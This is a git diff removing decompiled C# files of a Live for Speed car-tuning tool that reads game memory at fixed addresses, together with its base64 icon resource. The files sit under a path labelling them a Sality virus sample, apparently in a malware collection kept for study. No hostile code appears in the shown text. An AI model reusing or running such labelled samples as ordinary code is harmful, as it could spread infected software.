this.fueltank_value.Text = Conversions.ToString(this.currentfueltank); - Memory.ReadSingle(5846952, ref this.currentenginepower); - this.enginepower_value.Text = Conversions.ToString(this.currentenginepower); - Memory.ReadSingle(5847624, ref this.enginepos); - this.enginepos_value.Text = Conversions.ToString(this.enginepos); - Memory.ReadSingle(5847628, ref this.massheightpos); - this.massheight_value.Text = Conversions.ToString(this.massheightpos); - Memory.ReadSingle(5848852, ref this.tyrefrontypos); - this.tyrefrontypos_value.Text = Conversions.ToString(this.tyrefrontypos); - Memory.ReadSingle(5848840, ref this.tyrefronttrack); - this.tyrefronttrack_value.Text = Conversions.ToString(this.tyrefronttrack); - Memory.ReadSingle(5848836, ref this.tyrefrontangle); - this.tyrefrontangle_value.Text = Conversions.ToString(this.tyrefrontangle); - this.currenttransmissiontype = Conversions.ToByte(Memory.ReadByte(5846916)); - if (this.currenttransmissiontype == (byte) 1) - this.transmissiontype_value.Text = "Manual"; - else if (this.currenttransmissiontype == (byte) 2) - this.transmissiontype_value.Text = "Motorbike"; - else if (this.currenttransmissiontype == (byte) 3) - this.transmissiontype_value.Text = "Sequential"; - else if (this.currenttransmissiontype == (byte) 4) - this.transmissiontype_value.Text = "??"; - else if (this.currenttransmissiontype == (byte) 5) - this.transmissiontype_value.Text = "Paddleshift"; - this.currentenginetype = Conversions.ToInteger(Memory.ReadByte(5846941)); - if (this.currentenginetype == 0) - this.enginetype_value.Text = "Inline"; - else if (this.currentenginetype == 1) - { - this.enginetype_value.Text = "Flat"; - } - else - { - if (this.currentenginetype != 2) - return; - this.enginetype_value.Text = "V-Type"; - } - } - else - { - if (!currentCar.Equals("FBM")) - return; - this.tyre_rheight.ReadOnly = false; - this.tyre_rsize.ReadOnly = false; - this.tyre_rwidth.ReadOnly = false; - this.tyre_rwidthrim.ReadOnly = false; - this.tyrerearangle_value.ReadOnly = false; - this.tyrereartrack_value.ReadOnly = false; - this.tyrerearypos_value.ReadOnly = false; - Memory.ReadSingle(5744376, ref this.currenttyrefwidth); - Memory.ReadSingle(5744380, ref this.currenttyrefheight); - Memory.ReadSingle(5744384, ref this.currenttyrefsize); - Memory.ReadSingle(5744388, ref this.currenttyrefwidthrim); - this.tyre_fwidth.Text = Conversions.ToString(this.currenttyrefwidth * 1000f); - this.tyre_fheight.Text = Conversions.ToString(this.currenttyrefheight * 100f); - this.tyre_fsize.Text = Conversions.ToString(this.currenttyrefsize * 100f); - this.tyre_fwidthrim.Text = Conversions.ToString(this.currenttyrefwidthrim * 1000f); - Memory.ReadSingle(5744312, ref this.currenttyrerwidth); - Memory.ReadSingle(5744316, ref this.currenttyrerheight); - Memory.ReadSingle(5744320, ref this.currenttyrersize); - Memory.ReadSingle(5744324, ref this.currenttyrerwidthrim); - this.tyre_rwidth.Text = Conversions.ToString(this.currenttyrerwidth * 1000f); - this.tyre_rheight.Text = Conversions.ToString(this.currenttyrerheight * 100f); - this.tyre_rsize.Text = Conversions.ToString(this.currenttyrersize * 100f); - this.tyre_rwidthrim.Text = Conversions.ToString(this.currenttyrerwidthrim * 1000f); - this.currentenginecylinders = Conversions.ToByte(Memory.ReadByte(5742488)); - this.enginecylinders_value.Text = Conversions.ToString(this.currentenginecylinders); - Memory.ReadSingle(5742484, ref this.currentenginecc); - this.enginecc_value.Text = Conversions.ToString(this.currentenginecc); - this.currentengineturbo = Conversions.ToByte(Memory.ReadByte(5742476)); - this.engineturbo_value.Text = this.currentengineturbo != (byte) 12 ? "On" : "Off"; - Memory.ReadSingle(5742496, ref this.currentengineturbolag); - this.engineturbolag_value.Text = Conversions.ToString(this.currentengineturbolag); - Memory.ReadSingle(5742492, ref this.currentengineturbopressure); - this.engineturbopressure_value.Text = Conversions.ToString(this.currentengineturbopressure); - float currentenginetorque = (float) this.currentenginetorque; - Memory.ReadSingle(5742516, ref currentenginetorque); - this.currentenginetorque = (double) currentenginetorque; - this.enginetorque_value.Text = Conversions.ToString(this.currentenginetorque); - Memory.ReadSingle(5742512, ref this.currentengineredline); - this.engineredline_value.Text = Conversions.ToString(this.currentengineredline); - this.currentcartype = Conversions.ToByte(Memory.ReadByte(5742460)); - this.cartype_value.Text = Conversions.ToString(this.currentcartype); - Memory.ReadSingle(5743060, ref this.currentfueltank); - this.fueltank_value.Text = Conversions.ToString(this.currentfueltank); - Memory.ReadSingle(5742500, ref this.currentenginepower); - this.enginepower_value.Text = Conversions.ToString(this.currentenginepower); - Memory.ReadSingle(5742984, ref this.enginepos); - this.enginepos_value.Text = Conversions.ToString(this.enginepos); - Memory.ReadSingle(5742988, ref this.massheightpos); - this.massheight_value.Text = Conversions.ToString(this.massheightpos); - Memory.ReadSingle(5744428, ref this.tyrefrontypos); - this.tyrefrontypos_value.Text = Conversions.ToString(this.tyrefrontypos); - Memory.ReadSingle(5744416, ref this.tyrefronttrack); - this.tyrefronttrack_value.Text = Conversions.ToString(this.tyrefronttrack); - Memory.ReadSingle(5744412, ref this.tyrefrontangle); - this.tyrefrontangle_value.Text = Conversions.ToString(this.tyrefrontangle); - Memory.ReadSingle(5744352, ref this.tyrereartrack); - this.tyrereartrack_value.Text = Conversions.ToString(this.tyrereartrack); - Memory.ReadSingle(5744364, ref this.tyrerearypos); - this.tyrerearypos_value.Text = Conversions.ToString(this.tyrerearypos); - Memory.ReadSingle(5744348, ref this.tyrerearangle); - this.tyrerearangle_value.Text = Conversions.ToString(this.tyrerearangle); - this.currenttransmissiontype = Conversions.ToByte(Memory.ReadByte(5742464)); - if (this.currenttransmissiontype == (byte) 1) - this.transmissiontype_value.Text = "Manual"; - else if (this.currenttransmissiontype == (byte) 2) - this.transmissiontype_value.Text = "Motorbike"; - else if (this.currenttransmissiontype == (byte) 3) - this.transmissiontype_value.Text = "Sequential"; - else if (this.currenttransmissiontype == (byte) 4) - this.transmissiontype_value.Text = "??"; - else if (this.currenttransmissiontype == (byte) 5) - this.transmissiontype_value.Text = "Paddleshift"; - this.currentenginetype = Conversions.ToInteger(Memory.ReadByte(5742489)); - if (this.currentenginetype == 0) - this.enginetype_value.Text = "Inline"; - else if (this.currentenginetype == 1) - this.enginetype_value.Text = "Flat"; - else if (this.currentenginetype == 2) - this.enginetype_value.Text = "V-Type"; - } - } - - public void carRefresh() - { - Memory.ReadMemory(6259912, ref this.currentCarValue); - this.currentCar.Text = this.currentCarValue; - this.mecanikUpdater((object) this.currentCarValue); - this.carSwitcher(this.currentCarValue); - } - - public void saveSetup() - { - this.SaveFileDialog1.OverwritePrompt = true; - this.SaveFileDialog1.Filter = "LTC|*.ltc"; - if (!this.SaveFileDialog1.ShowDialog().Equals((object) DialogResult.OK)) - return; - try - { - FileStream fileStream = new FileStream(this.SaveFileDialog1.FileName, FileMode.OpenOrCreate, FileAccess.Write); - StreamWriter streamWriter = new StreamWriter((Stream) fileStream); - streamWriter.WriteLine("car_config:" + this.currentCar.Text); - if (this.currentCarValue.Equals("XRG") | this.currentCarValue.Equals("XFG") | this.currentCarValue.Equals("UF1")) - { - streamWriter.WriteLine("lfstweak_engine_cc:" + this.enginecc_value.Text); - streamWriter.WriteLine("lfstweak_engine_cylinders:" + this.enginecylinders_value.Text); - int num1 = Operators.CompareString(this.enginetype_value.Text, "Inline", false) != 0 ? (Operators.CompareString(this.enginetype_value.Text, "Flat", false) != 0 ? 2 : 1) : 0; - streamWriter.WriteLine("lfstweak_engine_type:" + num1.ToString()); - int num2 = Operators.CompareString(this.engineturbo_value.Text, "On", false) != 0 ? 12 : 13; - streamWriter.WriteLine("lfstweak_engine_turbo:" + num2.ToString()); - streamWriter.WriteLine("lfstweak_engine_turbo_pressure:" + this.engineturbopressure_value.Text); - streamWriter.WriteLine("lfstweak_engine_turbo_lag:" + this.engineturbolag_value.Text); - streamWriter.WriteLine("lfstweak_engine_torque:" + this.enginetorque_value.Text); - int num3 = Operators.CompareString(this.transmissiontype_value.Text, "Manual", false) != 0 ? (Operators.CompareString(this.transmissiontype_value.Text, "Motorbike", false) != 0 ? (Operators.CompareString(this.transmissiontype_value.Text, "Sequential", false) != 0 ? (Operators.CompareString(this.transmissiontype_value.Text, "??", false) != 0 ? 5 : 4) : 3) : 2) : 1; - streamWriter.WriteLine("lfstweak_engine_transmission_type:" + num3.ToString()); - streamWriter.WriteLine("lfstweak_engine_redline:" + this.engineredline_value.Text); - streamWriter.WriteLine("lfstweak_engine_fueltank:" + this.fueltank_value.Text); - streamWriter.WriteLine("lfstweak_engine_power:" + this.enginepower_value.Text); - streamWriter.WriteLine("lfstweak_engine_cartype:" + this.cartype_value.Text); - streamWriter.WriteLine("lfstweak_front_tyre_width:" + this.tyre_fwidthrim.Text); - streamWriter.WriteLine("lfstweak_front_tyre_height:" + this.tyre_fheight.Text); - streamWriter.WriteLine("lfstweak_front_rim_size:" + this.tyre_fsize.Text); - streamWriter.WriteLine("lfstweak_front_rim_width:" + this.tyre_fwidthrim.Text); - streamWriter.WriteLine("lfstweak_rear_tyre_width:" + this.tyre_rwidth.Text); - streamWriter.WriteLine("lfstweak_rear_tyre_height:" + this.tyre_rheight.Text); - streamWriter.WriteLine("lfstweak_rear_rim_size:" + this.tyre_rsize.Text); - streamWriter.WriteLine("lfstweak_rear_rim_width:" + this.tyre_rwidthrim.Text); - streamWriter.WriteLine("lfstweak_enginepos:" + this.enginepos_value.Text); - streamWriter.WriteLine("lfstweak_massheight:" + this.massheight_value.Text); - streamWriter.WriteLine("lfstweak_tyrefronttrack:" + this.tyrefronttrack_value.Text); - streamWriter.WriteLine("lfstweak_tyrefrontangle:" + this.tyrefrontangle_value.Text); - streamWriter.WriteLine("lfstweak_tyrefrontypos:" + this.tyrefrontypos_value.Text); - streamWriter.WriteLine("lfstweak_tyrereartrack:" + this.tyrereartrack_value.Text); - streamWriter.WriteLine("lfstweak_tyrerearangle:" + this.tyrerearangle_value.Text); - streamWriter.WriteLine("lfstweak_tyrerearypos:" + this.tyrerearypos_value.Text); - } - if (this.currentCarValue.Equals("XRG") | this.currentCarValue.Equals("XFG") | this.currentCarValue.Equals("UF1")) - streamWriter.WriteLine("lfsmec_cartype:2"); - streamWriter.WriteLine("lfsmec_engine_cc_min:" + this.mec_ccmin.Text); - streamWriter.WriteLine("lfsmec_engine_cc_max:" + this.mec_ccmax.Text); - streamWriter.WriteLine("lfsmec_engine_cylinders_min:" + this.mec_cylmin.Text); - streamWriter.WriteLine("lfsmec_engine_cylinders_max:" + this.mec_cylmax.Text); - streamWriter.WriteLine("lfsmec_engine_torque:" + this.mec_torque.Text); - streamWriter.WriteLine("lfsmec_engine_power:" + this.mec_power.Text); - streamWriter.WriteLine("lfsmec_engine_gears_min:" + this.mec_gearsmin.Text); - streamWriter.WriteLine("lfsmec_engine_gears_max:" + this.mec_gearsmax.Text); - streamWriter.WriteLine("lfsmec_engine_idle:" + this.mec_idle.Text); - streamWriter.WriteLine("lfsmec_weight:" + this.mec_weight.Text); - if (Operators.CompareString(this.mec_drive.Text, "RWD", false) == 0) - streamWriter.WriteLine("lfsmec_drive:1"); - else if (Operators.CompareString(this.mec_drive.Text, "FWD", false) == 0) - streamWriter.WriteLine("lfsmec_drive:2"); - else if (Operators.CompareString(this.mec_drive.Text, "AWD", false) == 0) - streamWriter.WriteLine("lfsmec_drive:3"); - else - streamWriter.WriteLine("lfsmec_drive:4"); - streamWriter.Close(); - fileStream.Close(); - int num = (int) Interaction.MsgBox((object) "Setup succesfully saved!"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) "Couldn't open file. Maybe it is in use?"); - ProjectData.ClearProjectError(); - } - } - - public void loadFile() - { - this.OpenFileDialog1.Filter = "LTC|*.ltc"; - if (!this.OpenFileDialog1.ShowDialog().Equals((object) DialogResult.OK)) - return; - FileStream fileStream = new FileStream(this.OpenFileDialog1.FileName, FileMode.Open, FileAccess.Read); - StreamReader streamReader = new StreamReader((Stream) fileStream); - string Left; - do - { - Left = streamReader.ReadLine(); - if (Operators.CompareString(Left, (string) null, false) != 0) - { - string[] strArray = Left.Split(':'); - string str = strArray[1].Replace(".", CultureInfo.CurrentCulture.NumberFormat.NumberDecimalSeparator); - strArray[1] = str.Replace(",", CultureInfo.CurrentCulture.NumberFormat.NumberDecimalSeparator); - if (strArray[0].Equals("car_config")) - { - this.currentCar.Text = strArray[1]; - this.currentCarValue = strArray[1]; - } - else if (strArray[0].Equals("lfstweak_engine_cc")) - this.enginecc_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_engine_cylinders")) - this.enginecylinders_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_engine_type")) - { - if (strArray[1].Equals("0")) - this.enginetype_value.Text = "Inline"; - else if (strArray[1].Equals("1")) - this.enginetype_value.Text = "Flat"; - else if (strArray[1].Equals("2")) - this.enginetype_value.Text = "V-Type"; - } - else if (strArray[0].Equals("lfstweak_engine_turbo")) - this.engineturbo_value.Text = !strArray[1].Equals("12") ? "On" : "Off"; - else if (strArray[0].Equals("lfstweak_engine_turbo_pressure")) - this.engineturbopressure_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_engine_turbo_lag")) - this.engineturbolag_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_engine_torque")) - this.enginetorque_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_engine_transmission_type")) - { - if (strArray[1].Equals("1")) - this.transmissiontype_value.Text = "Manual"; - else if (strArray[1].Equals("2")) - this.transmissiontype_value.Text = "Motorbike"; - else if (strArray[1].Equals("3")) - this.transmissiontype_value.Text = "Sequential"; - else if (strArray[1].Equals("4")) - this.transmissiontype_value.Text = "??"; - else if (strArray[1].Equals("5")) - this.transmissiontype_value.Text = "Paddleshift"; - } - else if (strArray[0].Equals("lfstweak_engine_redline")) - this.engineredline_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_engine_fueltank")) - this.fueltank_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_engine_power")) - this.enginepower_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_engine_cartype")) - this.cartype_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_front_tyre_width")) - this.tyre_fwidth.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_front_tyre_height")) - this.tyre_fheight.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_front_rim_size")) - this.tyre_fsize.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_front_rim_width")) - this.tyre_fwidthrim.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_rear_tyre_width")) - this.tyre_rwidth.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_rear_tyre_height")) - this.tyre_rheight.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_rear_rim_size")) - this.tyre_rsize.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_rear_rim_width")) - this.tyre_rwidthrim.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_enginepos")) - this.enginepos_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_massheight")) - this.massheight_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_tyrefronttrack")) - this.tyrefronttrack_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_tyrefrontangle")) - this.tyrefrontangle_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_tyrefrontypos")) - this.tyrefrontypos_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_tyrereartrack")) - this.tyrereartrack_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_tyrerearangle")) - this.tyrerearangle_value.Text = strArray[1]; - else if (strArray[0].Equals("lfstweak_tyrerearypos")) - this.tyrerearypos_value.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_engine_cc_min")) - this.mec_ccmin.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_engine_cc_max")) - this.mec_ccmax.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_engine_cylinders_min")) - this.mec_cylmin.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_engine_cylinders_max")) - this.mec_cylmax.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_engine_torque")) - this.mec_torque.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_engine_power")) - this.mec_power.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_engine_gears_min")) - this.mec_gearsmin.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_engine_gears_max")) - this.mec_gearsmax.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_engine_idle")) - this.mec_idle.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_weight")) - this.mec_weight.Text = strArray[1]; - else if (strArray[0].Equals("lfsmec_drive")) - { - if (strArray[1].Equals("1")) - this.mec_drive.Text = "RWD"; - else if (strArray[1].Equals("2")) - this.mec_drive.Text = "FWD"; - else if (strArray[1].Equals("3")) - this.mec_drive.Text = "AWD"; - else if (strArray[1].Equals("4")) - this.mec_drive.Text = "Default"; - } - } - } - while (Left != null); - streamReader.Close(); - fileStream.Close(); - if (this.currentCarValue.Equals("XRG") | this.currentCarValue.Equals("XFG") | this.currentCarValue.Equals("FBM")) - this.carUpdate(this.currentCar.Text); - this.mecanikWriter((object) this.currentCar.Text); - int num = (int) Interaction.MsgBox((object) "Setup succesfully loaded!"); - } - - private void Form1_Load(object sender, EventArgs e) - { - Memory.ReadMemory(6259912, ref this.currentCarValue); - this.currentCar.Text = this.currentCarValue; - this.mecanikUpdater((object) this.currentCar.Text); - this.carSwitcher(this.currentCar.Text); - } - - private void applyButton_Click(object sender, EventArgs e) - { - this.carUpdate(this.currentCar.Text); - this.mecanikWriter((object) this.currentCar.Text); - } - - private void Button1_Click(object sender, EventArgs e) - { - this.carRefresh(); - this.mecanikUpdater((object) this.currentCar.Text); - } - - private void SaveToolStripMenuItem_Click(object sender, EventArgs e) => this.saveSetup(); - - private void FileToolStripMenuItem_Click(object sender, EventArgs e) => this.loadFile(); - - private void Label27_Click(object sender, EventArgs e) - { - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Form1.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Form1.resx deleted file mode 100644 index f5f20802..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Form1.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////FJSUlCj///8aw8G9Df///wTJyckf5uTkH////wT///8V////B6SkpCSLi4so6urqIf///yGXl5co////GtfW1Sjv7+8k////FszMzCH///8N////GPj4+CHn5+cf////G5WUlCj///8S39/fE////wkAAAAAAAAAAAAAAAB4eHikWFhYs56cnHWJiYh+////EHh4eJNfXl6/////O4aFhaHf398lSEhIv0BAQNJaW1vJZmZmyU5OTtKRkZGHYGBg0m1tbb94d3eRWFhYycrKymvk4+NhaGhoyV5eXr9/f3+QTU1N0tbW1kVgYGBm////LwAAAAAAAAAAAAAAAGZmZs7w8PBKvb29YDw8PPh3d3e1W1tbtU9PT+j///9JXFxc1////1NDQ0P1QkJC/0tKSv9BQEH/PT09/3Bvb6QuLy//Pz8/6ERERLsyMjL/9vb2TP///y1HR0f/PT099FZWVrA+Pj7/u7u7a1xbW4POzs45AAAAAAAAAAAAAAAAc3NzwF9fX0TPz89gOjo6/2dnZ85JSUnJXV1d2ujo6GdLS0vr/v39aU1NTd5PT0/YVlZV3UhISPk/Pz//fX19nTQ0NPtHSEjcWlpatUFBQfn///80////J0JBQfk7OzvoY2JisD8/P/+qqqqZXV1cxnx8fGUAAAAAAAAAAAAAAAD///8Z////EP///z2SkY59s7OyhP///z7///8t////He/v7zn///8W////Kv///yf///8i////L+rq6jn///8Y////Mf///x////8g////L////wl9fYApkZCPkJ+enIv///9J6urqOf///yj8/Pw1////IQAAAAAAAAAA////FOHh4FvW1dRiQT480TgzLuguKyj1SEZExry6umqXkI9bmJWUW66rqVu4t7Rbt7WzW6urq1uxrq5bt7SwW6+trVurq6tbq6urW6urq1urq6tbcHBveDQyMc84My/5NDAs/UlHR7K8u7tb1tbWW9XV1Vvy8O40AAAAAKKemzFXU1HbRD86/ysoJf8xLCn/TkU+/zs0Lv8dGhb/MjEt/zs/PP8jOTz/IU5Y/zlAPv89Pjv/PkE+/z0/PP8+QDz/PkI+/z5APP8+QT7/PkE+/0I/Of8mIh3/KiUg/0Y+N/87NTH/HhsY/y8sJ/9QSEP/VE1G/313csT///8d////I3txac1MQzz/KSQg/y0qKf9NRD7/Pzgx/yEdGf8hQUf/G2Jz/xNhc/8Tfpn/GWl9/xxyiP8bdIr/GmZ5/xtugv8aan7/G2p9/xx0i/8aZXf/J1hj/ykmIf8wKiT/T0Y+/0A5Nf8eHBn/Lyol/05FPv9MRD3/iIN9n////wf//vQibWNdzEY9N/80Lin/IB0a/ysnIv8jHxz/JyMf/zs/Pf8bXm7/EnOM/xRmeP8mbnP/J3R6/y1+g/8ob3P/K3uA/yZ2fv8kcYP/LIGX/yJtgf8YgZ3/Hzk9/x8dGf8tKCP/KCQg/yAcGP8/ODL/RDw2/0Y/Of9/dm+NAAAAAP///xOlmI+zWU5F/1dMQ/86NC7/LCci/zQuKP9JQDn/U0pC/zJNUf8ccIX/IWl2/2lhJv94Zh//hW8g/4BsIP+DbiD/d2Uf/15hU/9scnL/SlJT/yZdaf8ca3//KzAu/yUhHf8lIR3/Qjky/1tPRv9JQj3/S0ZD/P///0wAAAAA////DMG1r5dORUD/VktD/11QRv9dUEb/XVBG/1xPRv9bT0X/UklB/2FgX/9wcG//Zlo4/3VdFv9YRxv/TEEu/1NHM/9USDP/S0E2/1FHPv9TSUH/RkE6/zpGRf9KRj//XlFH/2JUSv9uYFb/fXBl/66fleHWx7yWAAAAAAAAAAAAAAAA////RzEyO/88ODf/V0tC/1ZKQf9USUD/VEhA/1RIQP9QRT3/Qz05/zo4Nf8yLiX/PDMa/zw1Kf9MQzn/TkU7/05FO/9ORDv/TEI6/0